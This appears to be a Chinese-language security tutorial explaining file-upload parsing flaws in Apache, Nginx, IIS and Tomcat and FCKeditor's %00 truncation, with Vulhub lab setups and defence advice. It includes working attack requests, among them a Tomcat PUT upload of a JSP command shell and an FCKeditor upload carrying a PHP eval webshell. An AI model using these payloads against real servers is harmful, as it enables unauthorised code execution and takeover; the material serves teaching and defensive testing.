中间件解析漏洞与编辑器漏洞：Web安全绕过的“捷径”

文件上传漏洞的利用，往往不止于绕过前端的JS校验或服务端的MIME检查。当文件成功上传后，攻击者还需要让服务器"心甘情愿"地将图片马当作脚本执行------这时，中间件解析漏洞 和编辑器历史漏洞就成了最常用的"捷径"。本文将系统梳理Apache、Nginx、IIS、Tomcat等主流中间件的解析漏洞，以及FCKeditor等编辑器组件的经典漏洞，帮助你理解这条攻击链路中的关键环节。

一、为什么需要关注解析漏洞？

在前面的文章《文件上传与包含漏洞深度解析》中，我们已经介绍了如何通过修改后缀、伪造Content-Type、使用图片马等方式绕过上传校验。但有一个核心问题仍然存在：上传的shell.php.png或图片马，如何被服务器当作PHP代码执行？

答案就藏在中间件对文件名的解析特性中。不同的Web服务器对文件后缀的识别逻辑各不相同，攻击者正是利用这些差异，让本不该被解析的文件"意外"执行。

💡 一句话理解：上传校验是"守门员"，解析漏洞是"后门"。守门员放行了一个看似无害的文件，后门却让这个文件获得了执行权限。

二、Apache解析漏洞

Apache是全球使用最广泛的Web服务器之一，其解析漏洞主要分为两类。

2.1 多后缀解析特性（影响所有版本）

漏洞原理 ：Apache默认一个文件可以有多个以点分隔的后缀，从最右侧 开始识别后缀名。只要文件名中任意位置 包含.php后缀，就会被识别为PHP文件。

利用方式：

text

复制代码

shell.php.png  →  被当作PHP解析
shell.php.jpg  →  被当作PHP解析

这会导致一个严重问题：攻击者可以上传一个名为webshell.php.png的文件，表面上是一张PNG图片（通过MIME校验），但实际上包含PHP代码。由于Apache的多后缀解析特性，这个文件会被当作PHP执行。

环境复现（使用Vulhub）：

bash

复制代码

cd /home/enjoy/vulhub-master/httpd/apache_parsing_vulnerability
docker-compose build
docker-compose up -d

访问http://靶机IP/uploadfiles/webshell.php.png即可看到PHP执行结果。

2.2 换行解析漏洞（CVE-2017-15715）

影响版本：Apache HTTPD 2.4.0 ~ 2.4.29

漏洞原理 ：Apache通过正则表达式\.php$匹配PHP文件。在某些配置下，$会匹配换行符\x0A，导致shell.php\x0A被识别为有效的PHP文件名，从而绕过\.php$的匹配逻辑。

利用步骤：

准备一个1.php文件，内容为<?php phpinfo(); ?>
用Burp Suite抓取上传请求
在1.php后插入换行符\x0A（十六进制编辑模式下为0A）
发送请求，文件被保存为1.php%0A
访问/1.php%0A，PHP代码被执行

关键注意 ：插入的是0A而非0D0A（Windows换行符），否则无法绕过。

环境复现：

bash

复制代码

cd /home/enjoy/vulhub-master/httpd/CVE-2017-15715
docker-compose build
docker-compose up -d

访问http://靶机IP:8080/index.php，按照上述步骤操作即可。

三、Nginx解析漏洞

Nginx的解析漏洞主要与FastCGI的路径处理逻辑有关。

3.1 路径解析漏洞

漏洞原理 ：当Nginx看到URL以.php结尾时，会将请求交给FastCGI处理。如果FastCGI找不到对应的脚本文件（如x.php），会向前解析，将前面的文件当作PHP执行。

利用方式：

text

复制代码

上传 test.jpg（包含PHP代码）
访问 /test.jpg/x.php

Nginx发现路径以.php结尾，交给FastCGI；FastCGI找不到x.php，便解析test.jpg，将其中的PHP代码执行。

环境复现（Vulhub）：

bash

复制代码

cd /home/enjoy/vulhub-master/nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d

上传图片马后，访问/uploadfiles/[文件名].png/a.php即可。

四、IIS解析漏洞

IIS（Internet Information Services）是Windows平台的主流Web服务器，IIS 6.0版本存在两个经典的解析漏洞。

4.1 目录解析漏洞

当建立*.asp、*.asa格式的文件夹时，其目录下的任意文件都会被IIS当作ASP文件解析。

利用方式 ：创建test.asp文件夹，将shell.jpg放入其中，访问/test.asp/shell.jpg即可执行ASP代码。

4.2 文件解析漏洞

当文件名为*.asp;*.jpg格式时，IIS会将分号;后的内容忽略，只解析分号前的部分。

利用方式 ：上传shell.asp;shell.jpg，IIS将其当作shell.asp解析执行。

4.3 其他可解析后缀

以下后缀在IIS 6.0中也可能被当作ASP执行：

.asa
.cer
.cdx

五、Tomcat解析漏洞（CVE-2017-12615）

5.1 漏洞原理

影响Tomcat 7.x及之前部分版本。当满足以下条件时：

Tomcat运行在Windows主机上
启用了HTTP PUT请求方法
readonly=false（允许写入）

攻击者可以通过精心构造的PUT请求，向服务器上传包含任意代码的JSP文件。

5.2 利用方式

步骤1：发送PUT请求上传JSP木马

http

复制代码

PUT /1.jsp/ HTTP/1.1
Host: 192.168.49.128:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 750

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String executeCmd(String c) { ... }%>

步骤2：访问上传的文件

text

复制代码

http://192.168.49.128:8080/1.jsp?pwd=023&cmd=dir

即可执行系统命令。

环境复现（Vulhub）：

bash

复制代码

cd /home/enjoy/vulhub-master/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d

六、编辑器漏洞：第三方组件的"历史遗留问题"

除了中间件自身的解析漏洞，第三方编辑器组件（如FCKeditor、CKEditor）也因功能复杂、历史版本多，成为文件上传绕过的重灾区。

6.1 FCKeditor漏洞概述

FCKeditor（后更名为CKEditor）的PHP上传模块位于：

text

复制代码

/editor/filemanager/connectors/php/connector.php

6.2 核心利用原理

%00截断 是FCKeditor漏洞利用的关键。C语言中，\0（十六进制0x00）表示字符串的结束。当服务器拼接路径时，%00之后的内容被忽略。

正常情况：

text

复制代码

save_path = ../upload/
filename = "loudong.jpg"
结果：../upload/loudong.jpg

利用情况：

text

复制代码

save_path = ../upload/1.php%00
filename = "loudong.jpg"
结果：../upload/1.php  （%00之后的内容被忽略）

6.3 利用步骤

方式一：直接上传

修改fckeditor/editor/filemanager/connectors/php/config.php：

php

复制代码

$Config['Enabled'] = true;

执行漏洞利用脚本：

bash

复制代码

php.exe fck.php 127.0.0.1:80 /fckeditor/

方式二：手动发包

http

复制代码

POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=fuck.php%00.gif HTTP/1.1
Content-Type: multipart/form-data; boundary=--------29565348729577

----------29565348729577
Content-Disposition: form-data; name="NewFile"; filename="fuck.gif"
Content-Type: image/jpeg

GIF89a
<?php eval($_POST[a]) ?>

服务器最终将文件保存为fuck.php（%00截断了后面的.gif）。

6.4 最新动态：CVE-2026-35164

根据最新漏洞情报（2026年），CKEditor的上传功能在Brave CMS 2.0.6之前版本存在无限制文件上传漏洞 。漏洞根源在于服务端对上传文件类型的校验机制存在致命缺陷，导致攻击者可以上传被禁止的危险文件类型。这再次提醒我们：编辑器组件是文件上传漏洞的高发地带，使用时应及时更新并做好安全配置。

七、漏洞利用链：从上传到执行

以上漏洞综合起来，形成了一条完整的攻击链路：

text

复制代码

┌─────────────────────────────────────────────────────────────────┐
│                      攻击者 (Attacker)                         │
└─────────────────────────────────────────────────────────────────┘
                                │
                                ▼
                    ┌───────────────────────┐
                    │  1. 上传图片马/木马    │
                    │  - 绕过前端JS校验      │
                    │  - 伪造Content-Type    │
                    │  - 使用%00截断        │
                    └───────────────────────┘
                                │
                                ▼
                    ┌───────────────────────┐
                    │  2. 触发解析漏洞       │
                    │  - Apache多后缀解析    │
                    │  - Nginx路径解析      │
                    │  - IIS目录/文件解析   │
                    │  - Tomcat PUT上传     │
                    └───────────────────────┘
                                │
                                ▼
                    ┌───────────────────────┐
                    │  3. 执行恶意代码       │
                    │  - phpinfo()信息泄露  │
                    │  - 一句话木马GetShell │
                    │  - 命令执行           │
                    └───────────────────────┘

关键点：解析漏洞的存在，使得原本"合规"的上传文件（如图片、7z压缩包）获得了执行权限，从而让攻击者绕过了上传校验的最后一道防线。

八、防御建议

8.1 中间件层面

升级版本：Apache升级到2.4.30+（修复CVE-2017-15715），Tomcat升级到最新稳定版
禁用危险功能：关闭Tomcat的PUT方法、禁用不必要的WebDAV功能
配置限制 ：在httpd.conf或.htaccess中限制上传目录的脚本执行权限

8.2 应用层面

重命名文件：使用时间戳+随机数重命名，不保留原始文件名
白名单校验 ：只允许特定后缀（.jpg、.png、.gif），拒绝php、jsp等
内容校验 ：使用getimagesize()、exif_imagetype()等函数校验文件真实类型
限制上传目录 ：设置noexec或禁止直接访问

8.3 编辑器组件

及时更新：关注CKEditor等组件的安全公告，及时打补丁
关闭上传功能：如非必要，禁用编辑器的文件上传模块
严格权限控制：编辑器上传目录应单独配置，禁止脚本执行

结语

中间件解析漏洞和编辑器漏洞，是文件上传攻击链中从"上传"到"执行"的桥梁。理解这些漏洞的原理和利用方式，不仅有助于渗透测试中的GetShell操作，更能帮助开发者在架构设计时提前规避风险。

防御的黄金法则依然是：永远不要信任用户输入，也不要信任文件名------对于上传的文件，重命名、校验内容、隔离存储、限制执行，是四个缺一不可的环节。

（本文案例均来自Vulhub等合法授权环境，请勿用于非法用途。）